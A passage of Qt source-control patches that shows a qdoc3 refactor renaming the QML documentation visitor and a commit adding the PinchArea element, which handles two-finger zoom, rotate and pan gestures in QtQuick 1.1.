endVisit(QDeclarativeJS::AST::CaseClauses *); + + virtual bool visit(QDeclarativeJS::AST::CaseClause *); + virtual void endVisit(QDeclarativeJS::AST::CaseClause *); + + virtual bool visit(QDeclarativeJS::AST::DefaultClause *); + virtual void endVisit(QDeclarativeJS::AST::DefaultClause *); + + virtual bool visit(QDeclarativeJS::AST::LabelledStatement *); + virtual void endVisit(QDeclarativeJS::AST::LabelledStatement *); + + virtual bool visit(QDeclarativeJS::AST::ThrowStatement *); + virtual void endVisit(QDeclarativeJS::AST::ThrowStatement *); + + virtual bool visit(QDeclarativeJS::AST::TryStatement *); + virtual void endVisit(QDeclarativeJS::AST::TryStatement *); + + virtual bool visit(QDeclarativeJS::AST::Catch *); + virtual void endVisit(QDeclarativeJS::AST::Catch *); + + virtual bool visit(QDeclarativeJS::AST::Finally *); + virtual void endVisit(QDeclarativeJS::AST::Finally *); + + virtual bool visit(QDeclarativeJS::AST::FunctionDeclaration *); + virtual void endVisit(QDeclarativeJS::AST::FunctionDeclaration *); + + virtual bool visit(QDeclarativeJS::AST::FunctionExpression *); + virtual void endVisit(QDeclarativeJS::AST::FunctionExpression *); + + virtual bool visit(QDeclarativeJS::AST::FormalParameterList *); + virtual void endVisit(QDeclarativeJS::AST::FormalParameterList *); + + virtual bool visit(QDeclarativeJS::AST::FunctionBody *); + virtual void endVisit(QDeclarativeJS::AST::FunctionBody *); + + virtual bool visit(QDeclarativeJS::AST::Program *); + virtual void endVisit(QDeclarativeJS::AST::Program *); + + virtual bool visit(QDeclarativeJS::AST::SourceElements *); + virtual void endVisit(QDeclarativeJS::AST::SourceElements *); + + virtual bool visit(QDeclarativeJS::AST::FunctionSourceElement *); + virtual void endVisit(QDeclarativeJS::AST::FunctionSourceElement *); + + virtual bool visit(QDeclarativeJS::AST::StatementSourceElement *); + virtual void endVisit(QDeclarativeJS::AST::StatementSourceElement *); + + virtual bool visit(QDeclarativeJS::AST::DebuggerStatement *); + virtual void endVisit(QDeclarativeJS::AST::DebuggerStatement *); + + virtual bool visit(QDeclarativeJS::AST::UiParameterList *); + virtual void endVisit(QDeclarativeJS::AST::UiParameterList *); + +private: + void addMarkedUpToken(QDeclarativeJS::AST::SourceLocation &location, + const QString &text); + void addVerbatim(QDeclarativeJS::AST::SourceLocation first, + QDeclarativeJS::AST::SourceLocation last = QDeclarativeJS::AST::SourceLocation()); + QString sourceText(QDeclarativeJS::AST::SourceLocation &location); + void write(const QString &text); + void endWrite(const QString &text); + + QString source; + QString output; + quint32 cursor; + int indent; + bool showDebug; +}; + +QT_END_NAMESPACE + +#endif diff --git a/tools/qdoc3/qmlvisitor.cpp b/tools/qdoc3/qmlvisitor.cpp index 1d65c3d..9295624 100644 --- a/tools/qdoc3/qmlvisitor.cpp +++ b/tools/qdoc3/qmlvisitor.cpp @@ -42,15 +42,17 @@ #include #include #include -#include "parser/qmljsast_p.h" -#include "parser/qmljsastfwd_p.h" -#include "parser/qmljsengine_p.h" +#include "private/qdeclarativejsast_p.h" +#include "private/qdeclarativejsastfwd_p.h" +#include "private/qdeclarativejsengine_p.h" #include "node.h" #include "qmlvisitor.h" -DocVisitor::DocVisitor(const QString &filePath, const QString &code, - QmlJS::Engine *engine, Tree *tree, QSet &commands) +QT_BEGIN_NAMESPACE + +QmlDocVisitor::QmlDocVisitor(const QString &filePath, const QString &code, + QDeclarativeJS::Engine *engine, Tree *tree, QSet &commands) { this->filePath = filePath; this->name = QFileInfo(filePath).baseName(); @@ -61,17 +63,17 @@ DocVisitor::DocVisitor(const QString &filePath, const QString &code, current = tree->root(); } -DocVisitor::~DocVisitor() +QmlDocVisitor::~QmlDocVisitor() { } -QmlJS::AST::SourceLocation DocVisitor::precedingComment(unsigned offset) const +QDeclarativeJS::AST::SourceLocation QmlDocVisitor::precedingComment(unsigned offset) const { - QmlJS::AST::SourceLocation currentLoc; + QDeclarativeJS::AST::SourceLocation currentLoc; - foreach (const QmlJS::AST::SourceLocation &loc, engine->comments()) { + foreach (const QDeclarativeJS::AST::SourceLocation &loc, engine->comments()) { if (loc.begin() > lastEndOffset && loc.end() < offset) - currentLoc = loc; + currentLoc = loc; else break; } @@ -81,13 +83,13 @@ QmlJS::AST::SourceLocation DocVisitor::precedingComment(unsigned offset) const return currentLoc; } - return QmlJS::AST::SourceLocation(); + return QDeclarativeJS::AST::SourceLocation(); } -void DocVisitor::applyDocumentation(QmlJS::AST::SourceLocation location, +void QmlDocVisitor::applyDocumentation(QDeclarativeJS::AST::SourceLocation location, Node *node) { - QmlJS::AST::SourceLocation loc = precedingComment(location.begin()); + QDeclarativeJS::AST::SourceLocation loc = precedingComment(location.begin()); if (loc.isValid()) { QString source = document.mid(loc.offset, loc.length); @@ -111,7 +113,7 @@ void DocVisitor::applyDocumentation(QmlJS::AST::SourceLocation location, /*! Visits element definitions, recording them in a tree structure. */ -bool DocVisitor::visit(QmlJS::AST::UiObjectDefinition *definition) +bool QmlDocVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition) { QString type = definition->qualifiedTypeNameId->name->asString(); @@ -130,12 +132,12 @@ bool DocVisitor::visit(QmlJS::AST::UiObjectDefinition *definition) return true; } -void DocVisitor::endVisit(QmlJS::AST::UiObjectDefinition *definition) +void QmlDocVisitor::endVisit(QDeclarativeJS::AST::UiObjectDefinition *definition) { lastEndOffset = definition->lastSourceLocation().end(); } -bool DocVisitor::visit(QmlJS::AST::UiImportList *imports) +bool QmlDocVisitor::visit(QDeclarativeJS::AST::UiImportList *imports) { // Note that the imports list can be traversed by iteration to obtain // all the imports in the document at once, having found just one: @@ -154,10 +156,10 @@ bool DocVisitor::visit(QmlJS::AST::UiImportList *imports) Visits public member declarations, such as signals and properties. These only include custom signals and properties. */ -bool DocVisitor::visit(QmlJS::AST::UiPublicMember *member) +bool QmlDocVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member) { switch (member->type) { - case QmlJS::AST::UiPublicMember::Signal: + case QDeclarativeJS::AST::UiPublicMember::Signal: { if (current->type() == Node::Fake) { QmlClassNode *qmlClass = static_cast(current); @@ -167,7 +169,7 @@ bool DocVisitor::visit(QmlJS::AST::UiPublicMember *member) FunctionNode *qmlSignal = new FunctionNode(Node::QmlSignal, current, name, false); QList parameters; - for (QmlJS::AST::UiParameterList *it = member->parameters; it; it = it->next) { + for (QDeclarativeJS::AST::UiParameterList *it = member->parameters; it; it = it->next) { if (it->type && it->name) parameters.append(Parameter(it->type->asString(), "", it->name->asString())); } @@ -178,7 +180,7 @@ bool DocVisitor::visit(QmlJS::AST::UiPublicMember *member) } break; } - case QmlJS::AST::UiPublicMember::Property: + case QDeclarativeJS::AST::UiPublicMember::Property: { QString type = member->memberType->asString(); QString name = member->name->asString(); @@ -206,12 +208,14 @@ bool DocVisitor::visit(QmlJS::AST::UiPublicMember *member) return true; } -void DocVisitor::endVisit(QmlJS::AST::UiPublicMember *definition) +void QmlDocVisitor::endVisit(QDeclarativeJS::AST::UiPublicMember *definition) { lastEndOffset = definition->lastSourceLocation().end(); } -bool DocVisitor::visit(QmlJS::AST::IdentifierPropertyName *idproperty) +bool QmlDocVisitor::visit(QDeclarativeJS::AST::IdentifierPropertyName *idproperty) { return true; } + +QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlvisitor.h b/tools/qdoc3/qmlvisitor.h index a830793..c7b4bda 100644 --- a/tools/qdoc3/qmlvisitor.h +++ b/tools/qdoc3/qmlvisitor.h @@ -39,36 +39,38 @@ ** ****************************************************************************/ -#ifndef DOCVISITOR_H -#define DOCVISITOR_H +#ifndef QMLVISITOR_H +#define QMLVISITOR_H #include -#include "parser/qmljsastvisitor_p.h" +#include "private/qdeclarativejsastvisitor_p.h" #include "node.h" #include "tree.h" -class DocVisitor : public QmlJS::AST::Visitor +QT_BEGIN_NAMESPACE + +class QmlDocVisitor : public QDeclarativeJS::AST::Visitor { public: - DocVisitor(const QString &filePath, const QString &code, - QmlJS::Engine *engine, Tree *tree, QSet &commands); - virtual ~DocVisitor(); + QmlDocVisitor(const QString &filePath, const QString &code, + QDeclarativeJS::Engine *engine, Tree *tree, QSet &commands); + virtual ~QmlDocVisitor(); - bool visit(QmlJS::AST::UiImportList *imports); + bool visit(QDeclarativeJS::AST::UiImportList *imports); - bool visit(QmlJS::AST::UiObjectDefinition *definition); - void endVisit(QmlJS::AST::UiObjectDefinition *definition); + bool visit(QDeclarativeJS::AST::UiObjectDefinition *definition); + void endVisit(QDeclarativeJS::AST::UiObjectDefinition *definition); - bool visit(QmlJS::AST::UiPublicMember *member); - void endVisit(QmlJS::AST::UiPublicMember *definition); + bool visit(QDeclarativeJS::AST::UiPublicMember *member); + void endVisit(QDeclarativeJS::AST::UiPublicMember *definition); - bool visit(QmlJS::AST::IdentifierPropertyName *idproperty); + bool visit(QDeclarativeJS::AST::IdentifierPropertyName *idproperty); private: - QmlJS::AST::SourceLocation precedingComment(unsigned offset) const; - void applyDocumentation(QmlJS::AST::SourceLocation location, Node *node); + QDeclarativeJS::AST::SourceLocation precedingComment(unsigned offset) const; + void applyDocumentation(QDeclarativeJS::AST::SourceLocation location, Node *node); - QmlJS::Engine *engine; + QDeclarativeJS::Engine *engine; quint32 lastEndOffset; QString filePath; QString name; @@ -79,4 +81,6 @@ private: InnerNode *current; }; +QT_END_NAMESPACE + #endif -- cgit v0.12 From 940856ee20287ce0a61cfaf46012dd5509f857b5 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 29 Nov 2010 09:10:08 +1000 Subject: Add PinchArea. Provides two finger gestures: zoom, rotate, pan. Task-number: QTBUG-15491 Reviewed-by: Aaron Kennedy --- src/declarative/graphicsitems/graphicsitems.pri | 7 +- .../graphicsitems/qdeclarativeitemsmodule.cpp | 4 + .../graphicsitems/qdeclarativepincharea.cpp | 579 +++++++++++++++++++++ .../graphicsitems/qdeclarativepincharea_p.h | 308 +++++++++++ .../graphicsitems/qdeclarativepincharea_p_p.h | 109 ++++ .../qdeclarativepincharea/data/pinchproperties.qml | 46 ++ .../qdeclarativepincharea.pro | 16 + .../tst_qdeclarativepincharea.cpp | 315 +++++++++++ 8 files changed, 1382 insertions(+), 2 deletions(-) create mode 100644 src/declarative/graphicsitems/qdeclarativepincharea.cpp create mode 100644 src/declarative/graphicsitems/qdeclarativepincharea_p.h create mode 100644 src/declarative/graphicsitems/qdeclarativepincharea_p_p.h create mode 100644 tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml create mode 100644 tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro create mode 100644 tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp diff --git a/src/declarative/graphicsitems/graphicsitems.pri b/src/declarative/graphicsitems/graphicsitems.pri index ffdeb29..2cd3323 100644 --- a/src/declarative/graphicsitems/graphicsitems.pri +++ b/src/declarative/graphicsitems/graphicsitems.pri @@ -50,7 +50,9 @@ HEADERS += \ $$PWD/qdeclarativelayoutitem_p.h \ $$PWD/qdeclarativeitemchangelistener_p.h \ $$PWD/qdeclarativegraphicswidget_p.h \ - $$PWD/qdeclarativetextlayout_p.h + $$PWD/qdeclarativetextlayout_p.h \ + $$PWD/qdeclarativepincharea_p.h \ + $$PWD/qdeclarativepincharea_p_p.h SOURCES += \ $$PWD/qdeclarativeitemsmodule.cpp \ @@ -83,5 +85,6 @@ SOURCES += \ $$PWD/qdeclarativelistview.cpp \ $$PWD/qdeclarativelayoutitem.cpp \ $$PWD/qdeclarativegraphicswidget.cpp \ - $$PWD/qdeclarativetextlayout.cpp + $$PWD/qdeclarativetextlayout.cpp \ + $$PWD/qdeclarativepincharea.cpp diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index 52703c2..a462763 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -78,6 +78,7 @@ #include "private/qdeclarativewebview_p_p.h" #endif #include "private/qdeclarativeanchors_p.h" +#include "private/qdeclarativepincharea_p.h" static QDeclarativePrivate::AutoParentResult qgraphicsobject_autoParent(QObject *obj, QObject *parent) { @@ -147,10 +148,13 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType("QtQuick",1,0,"ViewSection"); qmlRegisterType("QtQuick",1,0,"VisualDataModel"); qmlRegisterType("QtQuick",1,0,"VisualItemModel"); + qmlRegisterType("QtQuick",1,1,"PinchArea"); + qmlRegisterType(); qmlRegisterType(); qmlRegisterType(); qmlRegisterType(); + qmlRegisterType(); qmlRegisterType(); qmlRegisterType("QtQuick",1,0,"QGraphicsWidget"); qmlRegisterExtendedType("QtQuick",1,0,"QGraphicsWidget"); diff --git a/src/declarative/graphicsitems/qdeclarativepincharea.cpp b/src/declarative/graphicsitems/qdeclarativepincharea.cpp new file mode 100644 index 0000000..998c30d --- /dev/null +++ b/src/declarative/graphicsitems/qdeclarativepincharea.cpp @@ -0,0 +1,579 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qdeclarativepincharea_p.h" +#include "qdeclarativepincharea_p_p.h" + +#include +#include + +#include +#include + +QT_BEGIN_NAMESPACE + + +/*! + \qmlclass PinchEvent QDeclarativePinchEvent + \ingroup qml-event-elements + \brief The PinchEvent object provides information about a pinch event. + + \bold {The PinchEvent element was added in QtQuick 1.1} + + The \c center, \c startCenter, \c lastCenter properties provide the center position between the two touch points. + + The \c scale and \c lastScale properties provide the scale factor. + + The \c angle, \c lastAngle and \c rotation properties provide the angle between the two points and the amount of rotation. + + The \c point1, \c point2, \c startPoint1, \c startPoint2 properties provide the positions of the touch points. + + The \c accepted property may be set to false in the \c onPinchStarted handler if the gesture should not + be handled. + + \sa PinchArea +*/ + +/*! + \qmlproperty QPointF PinchEvent::center + \qmlproperty QPointF PinchEvent::startCenter + \qmlproperty QPointF PinchEvent::lastCenter + + These properties hold the position of the center point between the two touch points. + + \list + \o \c center is the current center point + \o \c lastCenter is the center point of the previous event. + \o \c startCenter is the center point when the gesture began + \endlist +*/ + +/*! + \qmlproperty real PinchEvent::scale + \qmlproperty real PinchEvent::lastScale + + These properties hold the scale factor determined by the change in distance between the two touch points. + + \list + \o \c scale is the current scale factor. + \o \c lastScale is the scale factor of the previous event. + \endlist + + When a pinch gesture is started, the scale is 1.0. +*/ + +/*! + \qmlproperty real PinchEvent::angle + \qmlproperty real PinchEvent::lastAngle + \qmlproperty real PinchEvent::rotation + + These properties hold the angle between the two touch points. + + \list + \o \c angle is the current angle between the two points in the range -180 to 180. + \o \c lastAngle is the angle of the previous event. + \o \c rotation is the total rotation since the pinch gesture started. + \endlist + + When a pinch gesture is started, the rotation is 0.0. +*/ + +/*! + \qmlproperty QPointF PinchEvent::point1 + \qmlproperty QPointF PinchEvent::startPoint1 + \qmlproperty QPointF PinchEvent::point2 + \qmlproperty QPointF PinchEvent::startPoint2 + + These properties provide the actual touch points generating the pinch. + + \list + \o \c point1 and \c point2 hold the current positions of the points. + \o \c startPoint1 and \c startPoint2 hold the positions of the points when the second point was touched. + \endlist +*/ + +/*! + \qmlproperty bool PinchEvent::accepted + + Setting this property to false in the \c PinchArea::onPinchStarted handler + will result in no further pinch events being generated, and the gesture + ignored. +*/ + +QDeclarativePinch::QDeclarativePinch() + : m_target(0), m_minScale(1.0), m_maxScale(1.0) + , m_minRotation(0.0), m_maxRotation(0.0) + , m_axis(NoDrag), m_xmin(-FLT_MAX), m_xmax(FLT_MAX) + , m_ymin(-FLT_MAX), m_ymax(FLT_MAX), m_active(false) +{ +} + +QDeclarativePinchAreaPrivate::~QDeclarativePinchAreaPrivate() +{ + delete pinch; +} + +/*! + \qmlclass PinchArea QDeclarativePinchArea + \brief The PinchArea item enables simple pinch gesture handling. + \inherits Item + + \bold {The PinchArea element was added in QtQuick 1.1} + + A PinchArea is an invisible item that is typically used in conjunction with + a visible item in order to provide pinch gesture handling for that item. + + The \l enabled property is used to enable and disable pinch handling for + the proxied item. When disabled, the pinch area becomes transparent to + mouse/touch events. + + PinchArea can be used in two ways: + + \list + \o setting a \c pinch.target to provide automatic interaction with an element + \o using the onPinchStarted, onPinchChanged and onPinchFinished handlers + \endlist + + \sa PinchEvent +*/ + +/*! + \qmlsignal PinchArea::onPinchStarted() + + This handler is called when the pinch area detects that a pinch gesture has started. + + The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture, + including the scale, center and angle of the pinch. + + To ignore this gesture set the \c pinch.accepted property to false. The gesture + will be cancelled and no further events will be sent. +*/ + +/*! + \qmlsignal PinchArea::onPinchChanged() + + This handler is called when the pinch area detects that a pinch gesture has changed. + + The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture, + including the scale, center and angle of the pinch. +*/ + +/*! + \qmlsignal PinchArea::onPinchFinished() + + This handler is called when the pinch area detects that a pinch gesture has finished. + + The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture, + including the scale, center and angle of the pinch. +*/ + + +/*! + \qmlproperty Item PinchArea::pinch.target + \qmlproperty bool PinchArea::pinch.active + \qmlproperty real PinchArea::pinch.minimumScale + \qmlproperty real PinchArea::pinch.maximumScale + \qmlproperty real PinchArea::pinch.minimumRotation + \qmlproperty real PinchArea::pinch.maximumRotation + \qmlproperty enumeration PinchArea::pinch.dragAxis + \qmlproperty real PinchArea::pinch.minimumX + \qmlproperty real PinchArea::pinch.maximumX + \qmlproperty real PinchArea::pinch.minimumY + \qmlproperty real PinchArea::pinch.maximumY + + \c pinch provides a convenient way to make an item react to pinch gestures. + + \list + \i \c pinch.target specifies the id of the item to drag. + \i \c pinch.active specifies if the target item is currently being dragged. + \i \c pinch.minimumScale and \c pinch.maximumScale limit the range of the Item::scale property. + \i \c pinch.minimumRotation and \c pinch.maximumRotation limit the range of the Item::rotation property. + \i \c pinch.dragAxis specifies whether dragging in not allowed (\c Pinch.NoDrag), can be done horizontally (\c Pinch.XAxis), vertically (\c Pinch.YAxis), or both (\c Pinch.XandYAxis) + \i \c pinch.minimum and \c pinch.maximum limit how far the target can be dragged along the corresponding axes. + \endlist +*/ + +QDeclarativePinchArea::QDeclarativePinchArea(QDeclarativeItem *parent) + : QDeclarativeItem(*(new QDeclarativePinchAreaPrivate), parent) +{ + Q_D(QDeclarativePinchArea); + d->init(); +} + +QDeclarativePinchArea::~QDeclarativePinchArea() +{ +} + +/*! + \qmlproperty bool PinchArea::enabled + This property holds whether the item accepts pinch gestures. + + This property defaults to true. +*/ +bool QDeclarativePinchArea::isEnabled() const +{ + Q_D(const QDeclarativePinchArea); + return d->absorb; +} + +void QDeclarativePinchArea::setEnabled(bool a) +{ + Q_D(QDeclarativePinchArea); + if (a != d->absorb) { + d->absorb = a; + emit enabledChanged(); + } +} + +bool QDeclarativePinchArea::event(QEvent *event) +{ + Q_D(QDeclarativePinchArea); + if (!d->absorb || !isVisible()) + return QDeclarativeItem::event(event); + switch (event->type()) { + case QEvent::TouchBegin: + case QEvent::TouchUpdate: { + QTouchEvent *touch = static_cast(event); + d->touchPoints.clear(); + for (int i = 0; i < touch->touchPoints().count(); ++i) { + if (!(touch->touchPoints().at(i).state() & Qt::TouchPointReleased)) { + d->touchPoints << touch->touchPoints().at(i); + } + } + updatePinch(); + } + return true; + case QEvent::TouchEnd: + d->touchPoints.clear(); + updatePinch(); + break; + default: + return QDeclarativeItem::event(event); + } + + return QDeclarativeItem::event(event); +} + +void QDeclarativePinchArea::updatePinch() +{ + Q_D(QDeclarativePinchArea); + if (d->touchPoints.count() != 2) { + if (d->inPinch) { + d->stealMouse = false; + setKeepMouseGrab(false); + d->inPinch = false; + const qreal rotationAngle = d->pinchStartAngle - d->pinchLastAngle; + QPointF pinchCenter = mapFromScene(d->sceneLastCenter); + QDeclarativePinchEvent pe(pinchCenter, d->pinchLastScale, d->pinchLastAngle, rotationAngle); + pe.setStartCenter(d->pinchStartCenter); + pe.setLastCenter(pinchCenter); + pe.setLastAngle(d->pinchLastAngle); + pe.setLastScale(d->pinchLastScale); + pe.setStartPoint1(mapFromScene(d->sceneStartPoint1)); + pe.setStartPoint2(mapFromScene(d->sceneStartPoint2)); + pe.setPoint1(d->lastPoint1); + pe.setPoint2(d->lastPoint2); + emit pinchFinished(&pe); + if (d->pinch && d->pinch->target()) + d->pinch->setActive(false); + } + return; + } + if (d->touchPoints.at(0).state() & Qt::TouchPointPressed + || d->touchPoints.at(1).state() & Qt::TouchPointPressed) { + d->sceneStartPoint1 = d->touchPoints.at(0).scenePos(); + d->sceneStartPoint2 = d->touchPoints.at(1).scenePos(); + d->inPinch = false; + d->pinchRejected = false; + } else if (!d->pinchRejected){ + QDeclarativeItem *grabber = scene() ? qobject_cast(scene()->mouseGrabberItem()) : 0; + if (grabber == this || !grabber || !grabber->keepMouseGrab()) { + const int dragThreshold = QApplication::startDragDistance(); + QPointF p1 = d->touchPoints.at(0).scenePos(); + QPointF p2 = d->touchPoints.at(1).scenePos(); + qreal dx = p1.x() - p2.x(); + qreal dy = p1.y() - p2.y(); + qreal dist = sqrt(dx*dx + dy*dy); + QPointF sceneCenter = (p1 + p2)/2; + qreal angle = QLineF(p1, p2).angle(); + if (angle > 180) + angle -= 360; + if (!d->inPinch) { + if (qAbs(p1.x()-d->sceneStartPoint1.x()) > dragThreshold + || qAbs(p1.y()-d->sceneStartPoint1.y()) > dragThreshold + || qAbs(p2.x()-d->sceneStartPoint2.x()) > dragThreshold + || qAbs(p2.y()-d->sceneStartPoint2.y()) > dragThreshold) { + d->sceneStartCenter = sceneCenter; + d->sceneLastCenter = sceneCenter; + d->pinchStartCenter = mapFromScene(sceneCenter); + d->pinchStartDist = dist; + d->pinchStartAngle = angle; + d->pinchLastScale = 1.0; + d->pinchLastAngle = angle; + d->lastPoint1 = d->touchPoints.at(0).pos(); + d->lastPoint2 = d->touchPoints.at(1).pos(); + QDeclarativePinchEvent pe(d->pinchStartCenter, 1.0, angle, 0.0); + pe.setStartCenter(d->pinchStartCenter); + pe.setLastCenter(d->pinchStartCenter); + pe.setLastAngle(d->pinchLastAngle); + pe.setLastScale(d->pinchLastScale); + pe.setStartPoint1(mapFromScene(d->sceneStartPoint1)); + pe.setStartPoint2(mapFromScene(d->sceneStartPoint2)); + pe.setPoint1(d->lastPoint1); + pe.setPoint2(d->lastPoint2); + emit pinchStarted(&pe); + if (pe.accepted()) { + d->inPinch = true; + d->stealMouse = true; + grabMouse(); + setKeepMouseGrab(true); + if (d->pinch && d->pinch->target()) { + d->pinchStartPos = pinch()->target()->pos(); + d->pinchStartScale = d->pinch->target()->scale(); + d->pinchStartRotation = d->pinch->target()->rotation(); + d->pinch->setActive(true); + } + } else { + d->pinchRejected = true; + } + } + } else if (d->pinchStartDist > 0) { + qreal scale = dist / d->pinchStartDist; + qreal rotationAngle = d->pinchStartAngle - angle; + if (rotationAngle > 180) + rotationAngle -= 360; + QPointF pinchCenter = mapFromScene(sceneCenter); + QDeclarativePinchEvent pe(pinchCenter, scale, angle, rotationAngle); + pe.setStartCenter(d->pinchStartCenter); + pe.setLastCenter(mapFromScene(d->sceneLastCenter)); + pe.setLastAngle(d->pinchLastAngle); + pe.setLastScale(d->pinchLastScale); + pe.setStartPoint1(mapFromScene(d->sceneStartPoint1)); + pe.setStartPoint2(mapFromScene(d->sceneStartPoint2)); + pe.setPoint1(d->touchPoints.at(0).pos()); + pe.setPoint2(d->touchPoints.at(1).pos()); + d->pinchLastScale = scale; + d->sceneLastCenter = sceneCenter; + d->pinchLastAngle = angle; + d->lastPoint1 = d->touchPoints.at(0).pos(); + d->lastPoint2 = d->touchPoints.at(1).pos(); + emit pinchChanged(&pe); + if (d->pinch && d->pinch->target()) { + qreal s = d->pinchStartScale * scale; + s = qMin(qMax(pinch()->minimumScale(),s), pinch()->maximumScale()); + pinch()->target()->setScale(s); + QPointF pos = sceneCenter - d->sceneStartCenter + d->pinchStartPos; + if (pinch()->axis() & QDeclarativePinch::XAxis) { + qreal x = pos.x(); + if (x < pinch()->xmin()) + x = pinch()->xmin(); + else if (x > pinch()->xmax()) + x = pinch()->xmax(); + pinch()->target()->setX(x); + } + if (pinch()->axis() & QDeclarativePinch::YAxis) { + qreal y = pos.y(); + if (y < pinch()->ymin()) + y = pinch()->ymin(); + else if (y > pinch()->ymax()) + y = pinch()->ymax(); + pinch()->target()->setY(y); + } + if (d->pinchStartRotation >= pinch()->minimumRotation() + && d->pinchStartRotation <= pinch()->maximumRotation()) { + qreal r = rotationAngle + d->pinchStartRotation; + r = qMin(qMax(pinch()->minimumRotation(),r), pinch()->maximumRotation()); + pinch()->target()->setRotation(r); + } + } + } + } + } +} + +void QDeclarativePinchArea::mousePressEvent(QGraphicsSceneMouseEvent *event) +{ + Q_D(QDeclarativePinchArea); + d->stealMouse = false; + if (!d->absorb) + QDeclarativeItem::mousePressEvent(event); + else { + setKeepMouseGrab(false); + event->setAccepted(true); + } +} + +void QDeclarativePinchArea::mouseMoveEvent(QGraphicsSceneMouseEvent *event) +{ + Q_D(QDeclarativePinchArea); + if (!d->absorb) { + QDeclarativeItem::mouseMoveEvent(event); + return; + } +} + +void QDeclarativePinchArea::mouseReleaseEvent(QGraphicsSceneMouseEvent *event) +{ + Q_D(QDeclarativePinchArea); + d->stealMouse = false; + if (!d->absorb) { + QDeclarativeItem::mouseReleaseEvent(event); + } else { + QGraphicsScene *s = scene(); + if (s && s->mouseGrabberItem() == this) + ungrabMouse(); + setKeepMouseGrab(false); + } +} + +bool QDeclarativePinchArea::sceneEvent(QEvent *event) +{ + bool rv = QDeclarativeItem::sceneEvent(event); + if (event->type() == QEvent::UngrabMouse) { + setKeepMouseGrab(false); + } + return rv; +} + +bool QDeclarativePinchArea::sendMouseEvent(QGraphicsSceneMouseEvent *event) +{ + Q_D(QDeclarativePinchArea); + QGraphicsSceneMouseEvent mouseEvent(event->type()); + QRectF myRect = mapToScene(QRectF(0, 0, width(), height())).boundingRect(); + + QGraphicsScene *s = scene(); + QDeclarativeItem *grabber = s ? qobject_cast(s->mouseGrabberItem()) : 0; + bool stealThisEvent = d->stealMouse; + if ((stealThisEvent || myRect.contains(event->scenePos().toPoint())) && (!grabber || !grabber->keepMouseGrab())) { + mouseEvent.setAccepted(false); + for (int i = 0x1; i <= 0x10; i <<= 1) { + if (event->buttons() & i) { + Qt::MouseButton button = Qt::MouseButton(i); + mouseEvent.setButtonDownPos(button, mapFromScene(event->buttonDownPos(button))); + } + } + mouseEvent.setScenePos(event->scenePos()); + mouseEvent.setLastScenePos(event->lastScenePos()); + mouseEvent.setPos(mapFromScene(event->scenePos())); + mouseEvent.setLastPos(mapFromScene(event->lastScenePos())); + + switch(mouseEvent.type()) { + case QEvent::GraphicsSceneMouseMove: + mouseMoveEvent(&mouseEvent); + break; + case QEvent::GraphicsSceneMousePress: + mousePressEvent(&mouseEvent); + break; + case QEvent::GraphicsSceneMouseRelease: + mouseReleaseEvent(&mouseEvent); + break; + default: + break; + } + grabber = qobject_cast(s->mouseGrabberItem()); + if (grabber && stealThisEvent && !grabber->keepMouseGrab() && grabber != this) + grabMouse(); + + return stealThisEvent; + } + if (mouseEvent.type() == QEvent::GraphicsSceneMouseRelease) { + d->stealMouse = false; + if (s && s->mouseGrabberItem() == this) + ungrabMouse(); + setKeepMouseGrab(false); + } + return false; +} + +bool QDeclarativePinchArea::sceneEventFilter(QGraphicsItem *i, QEvent *e) +{ + Q_D(QDeclarativePinchArea); + if (!d->absorb || !isVisible()) + return QDeclarativeItem::sceneEventFilter(i, e); + switch (e->type()) { + case QEvent::GraphicsSceneMousePress: + case QEvent::GraphicsSceneMouseMove: + case QEvent::GraphicsSceneMouseRelease: + return sendMouseEvent(static_cast(e)); + break; + case QEvent::TouchBegin: + case QEvent::TouchUpdate: { + QTouchEvent *touch = static_cast(e); + d->touchPoints.clear(); + for (int i = 0; i < touch->touchPoints().count(); ++i) + if (!(touch->touchPoints().at(i).state() & Qt::TouchPointReleased)) + d->touchPoints << touch->touchPoints().at(i); + updatePinch(); + } + return d->inPinch; + case QEvent::TouchEnd: + d->touchPoints.clear(); + updatePinch(); + break; + default: + break; + } + + return QDeclarativeItem::sceneEventFilter(i, e); +} + +void QDeclarativePinchArea::geometryChanged(const QRectF &newGeometry, + const QRectF &oldGeometry) +{ + QDeclarativeItem::geometryChanged(newGeometry, oldGeometry); +} + +QVariant QDeclarativePinchArea::itemChange(GraphicsItemChange change, + const QVariant &value) +{ + return QDeclarativeItem::itemChange(change, value); +} + +QDeclarativePinch *QDeclarativePinchArea::pinch() +{ + Q_D(QDeclarativePinchArea); + if (!d->pinch) + d->pinch = new QDeclarativePinch; + return d->pinch; +} + + +QT_END_NAMESPACE diff --git 